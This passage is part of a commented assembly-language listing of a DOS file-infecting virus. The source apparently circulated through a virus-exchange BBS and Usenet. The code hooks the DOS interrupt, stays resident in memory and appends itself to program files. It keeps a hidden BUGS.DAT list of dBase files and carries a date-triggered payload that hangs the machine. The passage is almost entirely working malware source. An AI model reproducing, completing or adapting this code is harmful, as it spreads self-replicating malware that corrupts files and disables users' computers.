  1342. BP04C9:    POP    SI            ; /
  1343.  
  1344.     SUB    SI,OFFSET BP04C9-DW038B    ; Address file attributes
  1345.  
  1346.     MOV    CS:[SI],CX        ; Save file attributes
  1347.  
  1348.     MOV    CS:[SI+2],DS        ; Save pathname segment
  1349.  
  1350.     MOV    CS:[SI+4],DX        ; Save pathname offset
  1351.  
  1352.     AND    CX,00FEH        ; Switch off read only
  1353.  
  1354.     MOV    AX,4301H        ; Set file attributes function
  1355.  
  1356.     INT    21H            ; DOS service
  1357.  
  1358.     POP    CX
  1359.  
  1360.     POP    SI
  1361.  
  1362.     MOV    AX,3D00H        ; Open handle (read) function
  1363.  
  1364.     INT    21H            ; DOS service
  1365.  
  1366.     JB    BP04A1            ; Branch if error
  1367.  
  1368.     MOV    BX,AX            ; Move handle
  1369.  
  1370.     MOV    AX,5700H        ; Get file date & time function
  1371.  
  1372.     INT    21H            ; DOS service
  1373.  
  1374.     PUSH    SI
  1375.  
  1376.     CALL    BP04F6            ; \ Get current address
  1377.  
  1378. BP04F6:    POP    SI            ; /
  1379.  
  1380.     SUB    SI,OFFSET BP04F6-DW0387    ; Address file date
  1381.  
  1382.     MOV    CS:[SI],DX        ; Save file date
  1383.  
  1384.     MOV    CS:[SI+2],CX        ; Save file time
  1385.  
  1386.     POP    SI
  1387.  
  1388.     MOV    AH,3FH            ; Read handle function
  1389.  
  1390.     MOV    CX,4            ; Length to read
  1391.  
  1392.     CALL    BP050B            ; \ Get current address
  1393.  
  1394. BP050B:    POP    SI            ; /
  1395.  
  1396.     SUB    SI,OFFSET BP050B    ; Offset of start of virus
  1397.  
  1398.     MOV    DX,SI            ; \ Address start of host read buffer
  1399.  
  1400.     ADD    DX,OFFSET DB0486    ; /
  1401.  
  1402.     PUSH    CS            ; \ Set DS to CS
  1403.  
  1404.     POP    DS            ; /
  1405.  
  1406.     INT    21H            ; DOS service
  1407.  
  1408.     JB    BP058A            ; Branch if error
  1409.  
  1410.     PUSH    DX
  1411.  
  1412.     PUSH    SI
  1413.  
  1414.     MOV    SI,DX            ; Address start of host read buffer
  1415.  
  1416.     MOV    DX,[SI+1]        ; Get branch offset (if its a branch?)
  1417.  
  1418.     INC    DX            ; \ Address to signature (DB0630)
  1419.  
  1420.     XOR    CX,CX            ; /
  1421.  
  1422.     MOV    AX,4200H        ; Move file pointer (start) function
  1423.  
  1424.     INT    21H            ; DOS service
  1425.  
  1426.     POP    SI
  1427.  
  1428.     POP    DX
  1429.  
  1430.     JB    BP058A            ; Branch if error
  1431.  
  1432.     MOV    AH,3FH            ; Read handle function
  1433.  
  1434.     MOV    CX,2            ; Length to read
  1435.  
  1436.     ADD    DX,4            ; Address to signature read buffer
  1437.  
  1438.     INT    21H            ; DOS service
  1439.  
  1440.     PUSH    SI
  1441.  
  1442.     MOV    SI,DX            ; \ Copy signature read buffer address
  1443.  
  1444.     MOV    DI,SI            ; /
  1445.  
  1446.     CMP    WORD PTR [SI],0E5E5H    ; Test signature
  1447.  
  1448.     POP    SI
  1449.  
  1450.     JE    BP058A            ; Branch if infected
  1451.  
  1452.     MOV    AH,3EH            ; Close handle function
  1453.  
  1454.     INT    21H            ; DOS service
  1455.  
  1456.     POP    DS
  1457.  
  1458.     POP    DX
  1459.  
  1460.     PUSH    DX
  1461.  
  1462.     PUSH    DS
  1463.  
  1464.     MOV    AX,3D02H        ; Open handle (R/W) function
  1465.  
  1466.     INT    21H            ; DOS service
  1467.  
  1468.     JNB    BP0557            ; Branch if no error
  1469.  
  1470.     JMP    BP04A1
  1471.  
  1472.  
  1473.  
  1474. BP0557:    PUSH    CS            ; \ Set DS to CS
  1475.  
  1476.     POP    DS            ; /
  1477.  
  1478.     MOV    BX,AX            ; Move handle
  1479.  
  1480.     MOV    AX,4202H        ; Move file pointer (EOF) function
  1481.  
  1482.     XOR    CX,CX            ; \ No offset
  1483.  
  1484.     XOR    DX,DX            ; /
  1485.  
  1486.     INT    21H            ; DOS service
  1487.  
  1488.     ADD    AX,OFFSET START-3    ; Add entry point offset
  1489.  
  1490.     NOP
  1491.  
  1492.     MOV    [DI+3],AX        ; Store in initial jump instruction
  1493.  
  1494.     XOR    DX,DX            ; Address start of virus
  1495.  
  1496.     MOV    AH,40H            ; Write handle function
  1497.  
  1498.     MOV    CX,OFFSET ENDADR    ; Length of virus
  1499.  
  1500.     NOP
  1501.  
  1502.     INT    21H            ; DOS service
  1503.  
  1504.     MOV    AX,4200H        ; Move file pointer (start) function
  1505.  
  1506.     XOR    CX,CX            ; \ No offset
  1507.  
  1508.     XOR    DX,DX            ; /
  1509.  
  1510.     INT    21H            ; DOS service
  1511.  
  1512.     MOV    DX,DI            ; \ Address initial jump instruction
  1513.  
  1514.     ADD    DX,2            ; /
  1515.  
  1516.     MOV    CX,3            ; Length of jump instruction
  1517.  
  1518.     MOV    AH,40H            ; Write handle function
  1519.  
  1520.     INT    21H            ; DOS service
  1521.  
  1522. BP058A:    PUSH    SI
  1523.  
  1524.     CALL    BP058E            ; \ Get current address
  1525.  
  1526. BP058E:    POP    SI            ; /
  1527.  
  1528.     SUB    SI,OFFSET BP058E-DW0387    ; Address file date
  1529.  
  1530.     MOV    DX,CS:[SI]        ; Get file date
  1531.  
  1532.     MOV    CX,CS:[SI+2]        ; Get file time
  1533.  
  1534.     POP    SI
  1535.  
  1536.     MOV    AX,5701H        ; Set file date & time function
  1537.  
  1538.     INT    21H            ; DOS service
  1539.  
  1540.     MOV    AH,3EH            ; Close handle function
  1541.  
  1542.     INT    21H            ; DOS service
  1543.  
  1544.     PUSH    SI
  1545.  
  1546.     PUSH    CX
  1547.  
  1548.     CALL    BP05A9            ; \ Get current address
  1549.  
  1550. BP05A9:    POP    SI            ; /
  1551.  
  1552.     SUB    SI,OFFSET BP05A9-DW038B    ; Address file attributes
  1553.  
  1554.     MOV    CX,CS:[SI]        ; Get file attributes
  1555.  
  1556.     MOV    DS,CS:[SI+2]        ; Get pathname offset
  1557.  
  1558.     MOV    DX,CS:[SI+4]        ; Get pathname segment
  1559.  
  1560.     MOV    AX,4301H        ; Set file attributes function
  1561.  
  1562.     INT    21H            ; DOS service
  1563.  
  1564.     POP    CX
  1565.  
  1566.     POP    SI
  1567.  
  1568.     JMP    BP04A1
  1569.  
  1570.  
  1571.  
  1572.     ; Call DOS service
  1573.  
  1574.  
  1575.  
  1576. BP05C3:    PUSHF
  1577.  
  1578.     DB    9AH            ; Far call
  1579.  
  1580. DW05C5    DW    0            ; Int 21H offset
  1581.  
  1582. DW05C7    DW    0            ; Int 21H segment
  1583.  
  1584.     RET
  1585.  
  1586.  
  1587.  
  1588.     ; Infect system
  1589.  
  1590.  
  1591.  
  1592. BP05CA:    PUSH    SI
  1593.  
  1594.     CALL    BP05CE            ; \ Get current address
  1595.  
  1596. BP05CE:    POP    SI            ; /
  1597.  
  1598.     SUB    SI,OFFSET BP05CE    ; Relocate from start of virus
  1599.  
  1600.     PUSH    AX
  1601.  
  1602.     PUSH    BX
  1603.  
  1604.     PUSH    CX
  1605.  
  1606.     PUSH    DX
  1607.  
  1608.     PUSH    DI
  1609.  
  1610.     PUSH    DS
  1611.  
  1612.     PUSH    ES
  1613.  
  1614.     MOV    AX,3521H        ; Get Int 21H function
  1615.  
  1616.     INT    21H            ; DOS service
  1617.  
  1618.     MOV    CS:[SI+46H],BX        ; \ Install vector in jump
  1619.  
  1620.     MOV    CS:[SI+48H],ES        ; /
  1621.  
  1622.     MOV    CS:DW05C5[SI],BX    ; \ Install vector in call
  1623.  
  1624.     MOV    CS:DW05C7[SI],ES    ; /
  1625.  
  1626.     PUSH    CS            ; \ Get current segment
  1627.  
  1628.     POP    AX            ; /
  1629.  
  1630.     DEC    AX            ; \ Address MCB
  1631.  
  1632.     MOV    DS,AX            ; /
  1633.  
  1634.     ASSUME    DS:MCB
  1635.  
  1636.     MOV    DX,MEMSIZE        ; Get memory block length
  1637.  
  1638.     SUB    DX,0074H        ; \ Subtract virus length
  1639.  
  1640.     nop
  1641.  
  1642.     DEC    DX            ; /
  1643.  
  1644.     MOV    MEMSIZE,DX        ; Replace new length
  1645.  
  1646.     ASSUME    DS:NOTHING
  1647.  
  1648.     PUSH    CS            ; \ Get current segment
  1649.  
  1650.     POP    AX            ; /
  1651.  
  1652.     ADD    DX,AX            ; \ Address free space
  1653.  
  1654.     MOV    DS,DX            ; /
  1655.  
  1656.     MOV    DI,0            ; Start of free space
  1657.  
  1658.     MOV    CX,OFFSET ENDADR        ; Length of virus
  1659.  
  1660.     NOP
  1661.  
  1662.     CLI
  1663.  
  1664.     PUSH    SI
  1665.  
  1666. BP0612:    MOV    AL,CS:[SI]
  1667.  
  1668.     MOV    [DI],AL
  1669.  
  1670.     INC    SI
  1671.  
  1672.     INC    DI
  1673.  
  1674.     LOOP    BP0612
  1675.  
  1676.     POP    SI
  1677.  
  1678.     MOV    DS,DX
  1679.  
  1680.     MOV    DX,OFFSET BP0000
  1681.  
  1682.     MOV    AX,2521H        ; Set Int 21H function
  1683.  
  1684.     INT    21H            ; DOS service
  1685.  
  1686.     STI
  1687.  
  1688.     POP    ES
  1689.  
  1690.     POP    DS
  1691.  
  1692.     POP    DI
  1693.  
  1694.     POP    DX
  1695.  
  1696.     POP    CX
  1697.  
  1698.     POP    BX
  1699.  
  1700.     POP    AX
  1701.  
  1702.     JMP    BP0640
  1703.  
  1704.  
  1705.  
  1706. DB0630    DB    0E5H, 0E5H
  1707.  
  1708.  
  1709.  
  1710.     ; Entry point
  1711.  
  1712.  
  1713.  
  1714. START:    PUSH    AX
  1715.  
  1716.     MOV    AX,0FB0AH        ; Infection test function
  1717.  
  1718.     INT    21H            ; DOS service
  1719.  
  1720.     CMP    AX,0AFBH        ; Is system infected?
  1721.  
  1722.     JE    BP0640            ; Branch if yes
  1723.  
  1724.     JMP    BP05CA
  1725.  
  1726.  
  1727.  
  1728. BP0640:    PUSH    SI
  1729.  
  1730.     CALL    BP0644            ; \ Get current address
  1731.  
  1732. BP0644:    POP    SI            ; /
  1733.  
  1734.     SUB    SI,OFFSET BP0644-DB0486    ; Address start of host read buffer
  1735.  
  1736.     PUSH    BX
  1737.  
  1738.     MOV    BX,0100H        ; Address start of host
  1739.  
  1740.     MOV    AX,CS:[SI]        ; \ Restore start of host (1)
  1741.  
  1742.     MOV    CS:[BX],AX        ; /
  1743.  
  1744.     MOV    AX,CS:[SI+2]        ; \
  1745.  
  1746.     ADD    BX,2            ;  ) Restore start of host (2)
  1747.  
  1748.     MOV    CS:[BX],AX        ; /
  1749.  
  1750.     POP    BX
  1751.  
  1752.     POP    SI
  1753.  
  1754.     POP    AX
  1755.  
  1756.     MOV    AX,0100H        ; \ Branch to start of host
  1757.  
  1758.     JMP    AX            ; /
  1759.  
  1760.  
  1761.  
  1762.     ; Search BUG.DAT file for pathname
  1763.  
  1764.  
  1765.  
  1766. BP0665:    PUSH    AX
  1767.  
  1768.     PUSH    BX
  1769.  
  1770.     PUSH    CX
  1771.  
  1772.     PUSH    DX
  1773.  
  1774.     PUSH    SI
  1775.  
  1776.     PUSH    DI
  1777.  
  1778.     PUSH    BP
  1779.  
  1780.     PUSH    DS
  1781.  
  1782.     PUSH    ES
  1783.  
  1784.     CALL    BP0671            ; \ Get current address
  1785.  
  1786. BP0671:    POP    BP            ; /
  1787.  
  1788.     SUB    BP,OFFSET BP0671-DB0053    ; Address 'BUGS.DAT' pathname
  1789.  
  1790.     PUSH    DS            ; \ Set ES to DS
  1791.  
  1792.     POP    ES            ; /
  1793.  
  1794.     MOV    DI,DX            ; Copy pathname pointer
  1795.  
  1796.     PUSH    CS            ; \ Set DS to CS
  1797.  
  1798.     POP    DS            ; /
  1799.  
  1800.     MOV    DX,BP            ; Move pathname address
  1801.  
  1802.     MOV    AX,3D00H        ; Open handle (read) function
  1803.  
  1804.     PUSH    DI
  1805.  
  1806.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  1807.  
  1808.     INT    21H            ; DOS service
  1809.  
  1810.     JNB    BP0697            ; Branch if no error
  1811.  
  1812.     MOV    AH,3CH            ; Create handle function
  1813.  
  1814.     MOV    CX,2            ; Hidden file
  1815.  
  1816.     INT    21H            ; DOS service
  1817.  
  1818.     JNB    BP0697            ; Branch if no error
  1819.  
  1820. BP0692:    POP    DI
  1821.  
  1822.     CLC
  1823.  
  1824.     JMP    BP06D1
  1825.  
  1826.  
  1827.  
  1828. BP0697:    MOV    BX,AX            ; Move handle
  1829.  
  1830.     ADD    DX,0CH            ; Read buffer
  1831.  
  1832. BP069C:    MOV    CX,004EH        ; Length to read
  1833.  
  1834.     MOV    AH,3FH            ; Read handle function
  1835.  
  1836.     INT    21H            ; DOS service
  1837.  
  1838.     JB    BP0692            ; Branch if error
  1839.  
  1840.     CMP    AX,0            ; Did we read anything?
  1841.  
  1842.     JNE    BP06B0            ; Branch if yes
  1843.  
  1844.     MOV    AH,3EH            ; Close handle function
  1845.  
  1846.     INT    21H            ; DOS service
  1847.  
  1848.     JMP    BP0692
  1849.  
  1850.  
  1851.  
  1852. BP06B0:    POP    DI
  1853.  
  1854.     MOV    SI,DX
  1855.  
  1856.     PUSH    DI
  1857.  
  1858. BP06B4:    MOV    AL,ES:[DI]        ; Get next character
  1859.  
  1860.     CMP    AL,0            ; End of pathname?
  1861.  
  1862.     JE    BP06C3            ; Branch if yes
  1863.  
  1864.     CMP    AL,[SI]            ; Does it match file?
  1865.  
  1866.     JNE    BP069C            ; Read next section if not
  1867.  
  1868.     INC    SI            ; Next file character
  1869.  
  1870.     INC    DI            ; Next pathname character
  1871.  
  1872.     JMP    BP06B4            ; Compare next character
  1873.  
  1874.  
  1875.  
  1876.     ; Pathname found on BUG.DAT file
  1877.  
  1878.  
  1879.  
  1880. BP06C3:    POP    DI
  1881.  
  1882.     MOV    AH,3EH            ; Close handle function
  1883.  
  1884.     INT    21H            ; DOS service
  1885.  
  1886.     STC
  1887.  
  1888.     JMP    BP06D1
  1889.  
  1890.  
  1891.  
  1892.     ; unreferenced code
  1893.  
  1894.  
  1895.  
  1896.     MOV    AH,3EH            ; Close handle function
  1897.  
  1898.     INT    21H            ; DOS service
  1899.  
  1900.     CLC
  1901.  
  1902.  
  1903.  
  1904. BP06D1:    POP    ES
  1905.  
  1906.     POP    DS
  1907.  
  1908.     POP    BP
  1909.  
  1910.     POP    DI
  1911.  
  1912.     POP    SI
  1913.  
  1914.     POP    DX
  1915.  
  1916.     POP    CX
  1917.  
  1918.     POP    BX
  1919.  
  1920.     POP    AX
  1921.  
  1922.     RET
  1923.  
  1924.  
  1925.  
  1926.     ; Open file function
  1927.  
  1928.  
  1929.  
  1930. BP06DB:    POPF
  1931.  
  1932.     CALL    BP05C3            ; DOS service
  1933.  
  1934.     JB    BP06F4            ; Branch if error
  1935.  
  1936.     PUSHF
  1937.  
  1938.     PUSH    SI
  1939.  
  1940.     MOV    SI,DX
  1941.  
  1942.     CALL    BP0468            ; Test for Dbase file
  1943.  
  1944.     JNE    BP06F2            ; Branch if not
  1945.  
  1946.     CALL    BP0665            ; Search BUG.DAT file for pathname
  1947.  
  1948.     JNB    BP06F2            ; Branch if not found
  1949.  
  1950.     CALL    BP0423
  1951.  
  1952. BP06F2:    POP    SI
  1953.  
  1954.     POPF
  1955.  
  1956. BP06F4:    RETF    2
  1957.  
  1958.  
  1959.  
  1960.     ; Is file out of time?
  1961.  
  1962.  
  1963.  
  1964. BP06F7:    PUSH    AX
  1965.  
  1966.     PUSH    CX
  1967.  
  1968.     PUSH    DX
  1969.  
  1970.     PUSH    SI
  1971.  
  1972.     MOV    AX,5700H        ; Get file date & time function
  1973.  
  1974.     INT    21H            ; DOS service
  1975.  
  1976.     CALL    BP0703            ; \ Get current address
  1977.  
  1978. BP0703:    POP    SI            ; /
  1979.  
  1980.     SUB    SI,OFFSET BP0703-DW0387    ; Address file date
  1981.  
  1982.     MOV    CS:[SI],DX        ; Save file date
  1983.  
  1984.     MOV    CL,5            ; \ Move month to bottom of reg
  1985.  
  1986.     SHR    DX,CL            ; /
  1987.  
  1988.     AND    DX,0FH            ; Isolate month
  1989.  
  1990.     MOV    AH,2AH            ; Get date function
  1991.  
  1992.     PUSH    DX            ; Preserve file month
  1993.  
  1994.     INT    21H            ; DOS service
  1995.  
  1996.     POP    CX            ; Recover file month
  1997.  
  1998.     SUB    CL,DH            ; Subtract month from file month
  1999.  
  2000.     CMP    CL,0            ; Negative result?
  2001.  
  2002.     JGE    BP0721            ; Branch if not
  2003.  
  2004.     NEG    CL            ; Change the sign
  2005.  
  2006. BP0721:    CMP    CL,3            ; Three months difference?
  2007.  
  2008.     JL    BP0729            ; Branch if not
  2009.  
  2010.     JMP    BP072E
  2011.  
  2012.  
  2013.  
  2014. BP0729:    POP    SI
  2015.  
  2016.     POP    DX
  2017.  
  2018.     POP    CX
  2019.  
  2020.     POP    AX
  2021.  
  2022.     RET
  2023.  
  2024.  
  2025.  
  2026.     ; File three months old (or next year)
  2027.  
  2028.  
  2029.  
  2030. BP072E:    CLI
  2031.  
  2032.     MOV    AX,3            ; Start count
  2033.  
  2034. BP0732:    MOV    CX,0100H
  2035.  
  2036.     MOV    DX,0            ; \ Address zero
  2037.  
  2038.     MOV    DS,DX            ; /
  2039.  
  2040.     XOR    BX,BX
  2041.  
  2042.     PUSH    AX
  2043.  
  2044.     INT    3            ; Breakpoint
  2045.  
  2046.     INT    3            ; Breakpoint
  2047.  
  2048.     POP    AX
  2049.  
  2050.     INC    AX            ; Increment count
  2051.  
  2052.     CMP    AL,1AH            ; Has it reached 26?
  2053.  
  2054.     JL    BP0732            ; Branch if not
  2055.  
  2056. BP0745:    CLI                ; \ Loop with interrupts disabled
  2057.  
  2058.     JMP    BP0745            ; /
  2059.  
  2060.  
  2061.  
  2062. ENDADR    EQU    $
  2063.  
  2064.  
  2065.  
  2066. CODE    ENDS
  2067.  
  2068.  
  2069.  
  2070.     END
  2071.  
  2072. 
  2073.  
  2074. ; ─────────────────────────────────────────────────────────────────────────
  2075.  
  2076. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  2077.  
  2078. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  2079.  
  2080. ; ─────────────────────────────────────────────────────────────────────────
  2081.  
  2082.  
  2083.  
  2084.  
  2085.  
  2086.  
  2087.  
  2088. --
  2089.  
  2090. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  2091.  
  2092. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  2093.  
  2094. Student at the Northeatstern University College of Computer Science 
  2095.  
  2096. "I Can't Believe It's Not Butter"
  2097.  
  2098.  
  2099.  
  2100.